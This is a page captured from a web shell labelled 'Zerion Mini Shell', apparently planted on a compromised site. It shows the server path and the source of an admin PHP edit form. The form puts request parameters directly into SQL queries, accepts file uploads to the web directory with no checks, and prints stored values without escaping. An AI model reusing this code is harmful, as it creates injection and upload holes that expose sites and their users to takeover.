ok

Mini Shell

Direktori : /home/u732469475/domains/balajigrills.com/public_html/admin/
Upload File :
Current File : /home/u732469475/domains/balajigrills.com/public_html/admin/docs_edit.php

<?php include'header.php';?>
<?php include("config.php"); ?>
<?php

$id=$_REQUEST['id'];
$sql1=mysql_query("select * from docs where id=$id");
$data1=mysql_fetch_array($sql1);

if($_REQUEST['submit'])
{
   $name=$_REQUEST['name'];
    $metatitle=$_REQUEST['metatitle'];
    $price=$_REQUEST['price'];
    $time=$_REQUEST['time'];
    $semester=$_REQUEST['semester'];
    $qualification=$_REQUEST['qualification'];
    $photo=$_FILES['photo'];
    $photo_image_name=$photo['name'];
    $photo_tmp_name=$photo['tmp_name'];
    $target="galleryphoto/$photo_image_name";
    $description=$_REQUEST['description'];
    $description=$_REQUEST['description'];
    
     if($photo_image_name)
{
  mysql_query("UPDATE `docs` SET `name` = '$name', `photo` = '$photo_image_name', `description` = '$description', `description` = '$aneg' WHERE `id` = $id;");
    echo "<script language='javascript'>alert('Successfully Updated !');window.location = 'docs-list.php';</script>";
	  move_uploaded_file($photo_tmp_name, $target);
       echo mysql_error();
	}
	
	else
 {
   mysql_query("UPDATE `docs` SET `name` = '$name', `description` = '$description' WHERE `id` = $id;");
    echo "<script language='javascript'>alert('Successfully Updated !');window.location = 'docs-list.php';</script>";
	  move_uploaded_file($photo_tmp_name, $target);
       echo mysql_error();
      
	  }
 
   

}

?>
    <!--Navigation Top Bar End-->
    <section id="main-container">

        <!--Left navigation section start-->
        <?php include'sidebar.php';?>
        <!--Left navigation section end-->


        <!--Page main section start-->
        <section id="min-wrapper">
            <div id="main-content">
                <div class="container-fluid">
                    <div class="row">
                        <div class="col-md-12">
                            <!--Top header start-->
                            <h3 class="ls-top-header">Testimonial</h3>
                     
                        </div>
                    </div>
                    <!-- Main Content Element  Start-->
                      <div class="row">
                        <div class="col-md-8">
                            <div class="panel panel-default">
                                <div class="panel-heading">
                                    <h3 class="panel-title">Testimonial</h3>
                                </div>
                                <div class="panel-body">
                                    <form method="post" enctype="multipart/form-data">
                                        <div class="form-group">
                                            <label>Name</label>
                                            <input type="text" name="name" value="<?php echo $data1['name']; ?>" class="form-control">
                                        </div>
                                   <!--      <div class="form-group">
                                            <label>Metatitle</label>
                                            <input type="text" name="metatitle" value="<?php echo $data1['metatitle']; ?>" class="form-control">
                                        </div>
                                           <div class="form-group">
                                            <label>Price</label>
                                            <input type="text" name="price" value="<?php echo $data1['price']; ?>" class="form-control">
                                        </div>
                                        <div class="form-group">
                                            <label>Process</label>
                                            <input type="text" name="time" value="<?php echo $data1['time']; ?>" class="form-control">
                                        </div>
                                        <div class="form-group">
                                            <label>Duration</label>
                                            <input type="text" name="semester" value="<?php echo $data1['semester']; ?>" class="form-control">
                                        </div>
                                        <div class="form-group">
                                            <label>Validity</label>
                                            <input type="text" name="qualification" value="<?php echo $data1['qualification']; ?>" class="form-control">
                                        </div>
										
										-->
										
                                  <!--     <div class="form-group">
                                            <label>Image</label>
                                            <input id="file-3" type="file" name="photo" class="form-control">
                                        </div>
                                        <div class="form-group">
                                            <label>Description1</label>
                                            <textarea id="elm1" name="content" rows="10" cols="40" style="width: 80%">
                                                 <?php echo $data1['content']; ?>
                                                  </textarea>
                                        </div>
										-->
                                        <div class="form-group">
                                            <label>Description2</label>
                                            <textarea id="elm1" name="description" rows="10" cols="40" style="width: 80%">
                                                 <?php echo $data1['description']; ?>
                                                  </textarea>
                                        </div>
                                       
                                        <input type="submit" value="Submit" name="submit">
                                       
                                    </form>
                                </div>
                            </div>
                        </div>

                    </div>
                  
                    
                    <!-- Main Content Element  End-->

                </div>
            </div>






        </section>
        <!--Page main section end -->
        <!--Right hidden  section start-->
        
        <!--Right hidden  section end -->
        <div id="change-color">
            <div id="change-color-control">
                <a href="javascript:void(0)"><i class="fa fa-magic"></i></a>
            </div>
            <div class="change-color-box">
                <ul>
                    <li class="default active"></li>
                    <li class="red-color"></li>
                    <li class="blue-color"></li>
                    <li class="light-green-color"></li>
                    <li class="black-color"></li>
                    <li class="deep-blue-color"></li>
                </ul>
            </div>
        </div>
    </section>
<script src="js/tinymce/tinymce.dev.js"></script>
<script src="js/tinymce/plugins/table/plugin.dev.js"></script>
<script src="js/tinymce/plugins/paste/plugin.dev.js"></script>
<script src="js/tinymce/plugins/spellchecker/plugin.dev.js"></script>
<script src="js/tinymce/plugins/codesample/plugin.dev.js"></script>

<script>
	tinymce.init({
		selector: "textarea#elm1",
		theme: "modern",
		plugins: [
			"advlist autolink autosave link image lists charmap print preview hr anchor pagebreak spellchecker",
			"searchreplace wordcount visualblocks visualchars code fullscreen insertdatetime media nonbreaking",
			"save table contextmenu directionality emoticons template textcolor paste fullpage textcolor colorpicker codesample"
		],
		external_plugins: {
			//"moxiemanager": "/moxiemanager-php/plugin.js"
		},
		content_css: "css/development.css",
		add_unload_trigger: false,
		autosave_ask_before_unload: false,

		toolbar1: "save newdocument fullpage | bold italic underline strikethrough | alignleft aligncenter alignright alignjustify | styleselect formatselect fontselect fontsizeselect",
		toolbar2: "cut copy paste pastetext | searchreplace | bullist numlist | outdent indent blockquote | undo redo | link unlink anchor image media help code | insertdatetime preview | forecolor backcolor",
		toolbar3: "table | hr removeformat | subscript superscript | charmap emoticons | print fullscreen | ltr rtl | spellchecker | visualchars visualblocks nonbreaking template pagebreak restoredraft | insertfile insertimage codesample",
		menubar: false,
		toolbar_items_size: 'small',

		style_formats: [
			{title: 'Bold text', inline: 'b'},
			{title: 'Red text', inline: 'span', styles: {color: '#ff0000'}},
			{title: 'Red header', block: 'h1', styles: {color: '#ff0000'}},
			{title: 'Example 1', inline: 'span', classes: 'example1'},
			{title: 'Example 2', inline: 'span', classes: 'example2'},
			{title: 'Table styles'},
			{title: 'Table row 1', selector: 'tr', classes: 'tablerow1'}
		],

		templates: [
			{title: 'My template 1', description: 'Some fancy template 1', content: 'My html'},
			{title: 'My template 2', description: 'Some fancy template 2', url: 'development.html'}
		],

        spellchecker_callback: function(method, data, success) {
			if (method == "spellcheck") {
				var words = data.match(this.getWordCharPattern());
				var suggestions = {};

				for (var i = 0; i < words.length; i++) {
					suggestions[words[i]] = ["First", "second"];
				}

				success({words: suggestions, dictionary: true});
			}

			if (method == "addToDictionary") {
				success();
			}
		}
	});
</script>
    <!--Layout Script start -->
    <script type="text/javascript" src="assets/js/color.js"></script>
    <script type="text/javascript" src="assets/js/lib/jquery-1.11.min.js"></script>
    <script type="text/javascript" src="assets/js/bootstrap.min.js"></script>
    <script type="text/javascript" src="assets/js/multipleAccordion.js"></script>

    <!--easing Library Script Start -->
    <script src="assets/js/lib/jquery.easing.js"></script>
    <!--easing Library Script End -->

    <!--Nano Scroll Script Start -->
    <script src="assets/js/jquery.nanoscroller.min.js"></script>
    <!--Nano Scroll Script End -->

    <!--switchery Script Start -->
    <script src="assets/js/switchery.min.js"></script>
    <!--switchery Script End -->

    <!--bootstrap switch Button Script Start-->
    <script src="assets/js/bootstrap-switch.js"></script>
    <!--bootstrap switch Button Script End-->

    <!--easypie Library Script Start -->
    <script src="assets/js/jquery.easypiechart.min.js"></script>
    <!--easypie Library Script Start -->

    <!--bootstrap-progressbar Library script Start-->
    <script src="assets/js/bootstrap-progressbar.min.js"></script>
    <!--bootstrap-progressbar Library script End-->

    <script type="text/javascript" src="assets/js/pages/layout.js"></script>
    <!--Layout Script End -->

    <!--Upload button Script Start-->
    <script src="assets/js/fileinput.min.js"></script>
    <!--Upload button Script End-->

    <!--Auto resize  text area Script Start-->
    <script src="assets/js/jquery.autosize.js"></script>
    <!--Auto resize  text area Script Start-->
    <script src="assets/js/pages/sampleForm.js"></script>
</body>

<!-- Mirrored from fickle.aimmate.com/sample-form.html by HTTrack Website Copier/3.x [XR&CO'2014], Thu, 21 Apr 2016 11:28:05 GMT -->
</html>

Zerion Mini Shell 1.0